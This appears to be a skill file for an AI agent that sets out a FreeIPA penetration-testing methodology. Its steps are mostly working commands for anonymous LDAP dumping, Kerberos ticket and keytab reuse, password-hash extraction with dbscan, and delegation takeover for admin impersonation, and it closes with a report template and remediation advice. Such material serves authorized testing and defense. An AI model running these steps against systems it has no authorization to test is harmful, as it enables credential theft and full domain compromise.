Imported from Singtreb/Sword-Riding (
internal/tools/skills/data/linux-hardening/pentesting-freeipa/SKILL.md). Install upstream withnpx skills add Singtreb/Sword-Riding --skill pentesting-freeipa. Copyright stays with the author (Apache-2.0).
Pentesting FreeIPA
When to Use
- During authorized engagements against Unix/Linux environments that use FreeIPA for centralized identity
- When
/etc/krb5.conf,/etc/ipa/default.conf, or/etc/krb5.keytabare present on a compromised host (FreeIPA-joined) - After capturing a CCACHE ticket from
/tmp, the keyring, or a keytab file - When you need an AD-BloodHound-style attack graph for a Unix domain
- For HBAC/sudo-rule and role/privilege misconfiguration review
Critical: Techniques Most Often Missed
FreeIPA looks like "just LDAP + Kerberos," so testers under-enumerate. The richest paths are in HBAC rules, delegation attributes, and ticket reuse.
- Anonymous LDAP bind leaks the whole directory. FreeIPA allows anonymous binds by default.
- How to CONFIRM:
ldapsearch -x -h <ipa-server> -b "dc=domain,dc=local"returns users/groups/hosts without credentials.
- How to CONFIRM:
- CCACHE ticket reuse = passwordless auth. Tickets in
/tmp(mode 600) or the keyring can be exported and reused.- How to CONFIRM:
KRB5CCNAME=/tmp/krb5cc_1000 klistshows a valid TGT; subsequentipa user-findsucceeds with no password.
- How to CONFIRM:
- Keytab files yield TGTs without a password.
/etc/krb5.keytabor service keytabs let youkinit -kt.- How to CONFIRM:
klist -kt /etc/krb5.keytablists principals;kinit -kt /etc/krb5.keytab host/$(hostname)gets a TGT.
- How to CONFIRM:
- HBAC CanSSH + CanSUDO to a DC is full domain compromise. A sudo rule with
!authenticateon the IPA server lets you readid2entry.db.- How to CONFIRM:
ipa sudorule-show <rule> --allshowsipaSudoOpt: !authenticateand a host = the IPA server.
- How to CONFIRM:
- Delegation attributes expose takeover paths.
ipaAllowedToPerform;write_keys(ForceChangePassword),write_delegation(RBCD),IPAKrbOkToAuthAsDelegate.- How to CONFIRM: IPAHound surfaces
ReadKerberosKey/ForceChangePassword/AddRBCDedges from these attributes.
- How to CONFIRM: IPAHound surfaces
rootIPA user == AD Domain Admin; IPA server root reads all hashes.dbscanon the server dumpsuserPassword/ipaNTHash.- How to CONFIRM: as root on the IPA server,
dbscanover the directory DB returns base64 password hashes.
- How to CONFIRM: as root on the IPA server,
Workflow
Step 1: Fingerprint the FreeIPA Environment
cat /etc/krb5.conf # KDC + admin server locations, realm
cat /etc/ipa/default.conf # IPA client/server defaults
ls -l /etc/krb5.keytab # host keytab present => joined host
env | grep -i krb5 # KRB5CCNAME, KRB5_KTNAME, KRB5_CONFIG
klist # any cached tickets already present
Step 2: Unauthenticated LDAP Enumeration
# Anonymous bind dumps a large amount of directory data
ldapsearch -x -h ipa.domain.local -b "dc=domain,dc=local"
ldapsearch -x -h ipa.domain.local -b "cn=users,cn=accounts,dc=domain,dc=local" uid
# Or hit the FreeIPA web UI on 443 for the same data
Step 3: Authenticate, Then Enumerate with ipa / LDAP (GSSAPI)
# Obtain a ticket (password, keytab, or reuse an existing CCACHE)
kinit user@DOMAIN.LOCAL
kinit -kt /etc/krb5.keytab host/$(hostname -f)@DOMAIN.LOCAL
export KRB5CCNAME=/tmp/krb5cc_1000 # reuse a captured ticket
# Authenticated LDAP (GSSAPI)
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain,dc=local"
ldapsearch -Y gssapi -b "cn=groups,cn=accounts,dc=domain,dc=local"
ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain,dc=local"
# Domain-joined binaries
ipa user-find ; ipa usergroup-find ; ipa host-find ; ipa hostgroup-find
ipa user-show <user> --all
Step 4: Analyze HBAC, Sudo Rules, Roles & Privileges
# HBAC (who can access which host/service)
ipa hbacrule-find ; ipa hbacrule-show <rule> --all
ldapsearch -Y gssapi -b "cn=hbac,dc=domain,dc=local"
# Sudo rules — look for !authenticate and runAs root
ipa sudorule-find ; ipa sudorule-show <rule> --all
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain,dc=local"
# Roles / privileges / permissions
ipa role-find ; ipa privilege-find ; ipa permission-find
Step 5: Harvest & Reuse Kerberos Credentials
# Parse / reuse a CCACHE ticket
klist /tmp/krb5cc_* # inspect
export KRB5CCNAME=/tmp/krb5cc_1000 && ipa user-find # reuse
# Tickey extracts tickets from the Linux keyring
./tickey -i
# Keytab -> TGT (no password needed)
klist -kt /etc/krb5.keytab
kinit -kt /etc/krb5.keytab host/$(hostname -f)@DOMAIN.LOCAL
# On the IPA SERVER as root, dump hashes
dbscan -f /var/lib/dirsrv/slapd-*/db/userRoot/id2entry.db # userPassword / ipaNTHash (base64)
# linikatz / LinikatzV2 automate credential extraction from IPA/SSSD caches
Step 6: Build an Attack Graph (IPAHound) & Find Delegation Paths
# Collect with Kerberos or user/pass
IPAHound -k -s dc1.domain.local -a freeipa_apoc.json
IPAHound -s dc1.domain.local -u 'uid=user,cn=users,cn=accounts,dc=domain,dc=local' -p 'Pass!' -a freeipa_apoc.json
# Import into Neo4j and query password-sprayable principals
# MATCH (n:IPAUser) WHERE n.PasswordAuthAllow = True RETURN n.krbCanonicalName
# Pivot on CanSSH + CanSUDO edges; a path to a DC => domain compromise
Step 7: PKINIT / S4U2proxy Delegation Takeover (owned computer/service)
# Write a cert into an owned service object, then PKINIT as it
openssl req -new -newkey rsa:2048 -days 365 -nodes \
-keyout private.key -out cert.csr -subj '/CN=srv.domain.local'
ipa cert-request cert.csr --certificate-out=srv.pem --principal=host/srv.domain.local
# add userCertificate;binary to the LDAP object (ldapmodify), then:
kinit -X X509_user_identity=FILE:srv.pem,private.key test/srv.domain.local@DOMAIN.LOCAL
ldapwhoami -H ldap://dc1.domain.local # verify identity
# With an AllowedToDelegate path, impersonate admin to LDAP via S4U2proxy
kvno -U admin -k service.keytab -P ldap/dc1.domain.local@DOMAIN.LOCAL \
test/srv.domain.local@DOMAIN.LOCAL --out-cache ldap_admin.cache
KRB5CCNAME=ldap_admin.cache ldapwhoami -H ldap://dc1.domain.local
Key Concepts
| Concept | Description |
|---|---|
| FreeIPA | Open-source AD alternative: LDAP directory + MIT Kerberos KDC + Dogtag CA, SSSD-integrated |
| CCACHE | Binary Kerberos credential cache (in /tmp mode 600 or the keyring); reusable via KRB5CCNAME |
| Keytab | File of principals + encrypted keys; yields a TGT with kinit -kt, no password |
| HBAC rule | Host-Based Access Control — defines which users/hosts may reach which services (e.g. sshd) |
| Sudo rule | Centralized sudo policy; ipaSudoOpt=!authenticate enables passwordless escalation |
| ipaNTHash / userPassword | Base64 password material in LDAP; crackable (ipaNTHash easiest, then SSHA512, PBKDF2_SHA256) |
| PKINIT | Certificate-based Kerberos pre-auth; abused by writing a cert into an owned object |
Tools & Systems
| Tool | Purpose |
|---|---|
| ipa | Native domain enumeration/management CLI (user-find, sudorule-show, etc.) |
| ldapsearch | Anonymous (-x) and authenticated (-Y gssapi) directory enumeration |
| kinit / klist / kvno | Obtain, inspect, and request Kerberos tickets and service tickets |
| Tickey | Extracts Kerberos tickets from the Linux keyring |
| dbscan | Dumps LDAP DB on the IPA server to extract password hashes (requires root there) |
| IPAHound / IPAHound-GUI | BloodHound-style FreeIPA attack-path graphing into Neo4j |
| LinikatzV2 / linikatz | Extract IPA/SSSD credentials and tickets from a compromised host |
Common Scenarios
Scenario 1: Anonymous enumeration to spray list
Anonymous ldapsearch -x dumps all uid values. IPAHound's PasswordAuthAllow=True query trims this to a focused spray list, recovering a low-priv account.
Scenario 2: Keytab reuse for lateral movement
A web app host holds /etc/krb5.keytab. kinit -kt produces a host TGT; combined with a CanSSH HBAC edge, the tester moves to another host without any password.
Scenario 3: Sudo rule with !authenticate on the IPA server
ipa sudorule-show reveals a rule granting a service account !authenticate root on the IPA server. SSHing there and copying id2entry.db exposes every domain hash.
Scenario 4: Service delegation to LDAP admin
An owned computer account owns its service principal. Writing a cert (PKINIT) and abusing an AllowedToDelegate path via S4U2proxy impersonates admin to LDAP, achieving domain compromise.
Output Format
## FreeIPA Compromise Finding
**Vulnerability**: FreeIPA Domain Privilege Escalation
**Severity**: Critical
**Domain**: DOMAIN.LOCAL | IPA Server: dc1.domain.local
### Attack Path
1. Anonymous LDAP bind enumerated all users/hosts/HBAC rules
2. Captured CCACHE /tmp/krb5cc_1000 -> reused (KRB5CCNAME) as user 'svc-web'
3. IPAHound graph: svc-web --CanSSH--> dc1 --CanSUDO(!authenticate)--> root
4. Copied /var/lib/dirsrv/.../id2entry.db; dbscan dumped all ipaNTHash values
### Evidence
$ ipa sudorule-show allow_svc_dc --all
ipaSudoOpt: !authenticate ; host: dc1.domain.local ; runAsUser: root
### Impact
Full domain compromise: all user/service hashes recovered, root on the KDC.
### Recommendation
1. Disable anonymous LDAP binds (nsslapd-allow-anonymous-access: off)
2. Scope HBAC/sudo rules tightly; never use !authenticate on the IPA server
3. Protect keytabs (mode 600, root-only) and purge stale CCACHE files from /tmp
4. Monitor delegation attributes (write_keys, write_delegation) for unexpected grants
5. Enforce strong KDF (PBKDF2_SHA256) and rotate credentials after exposure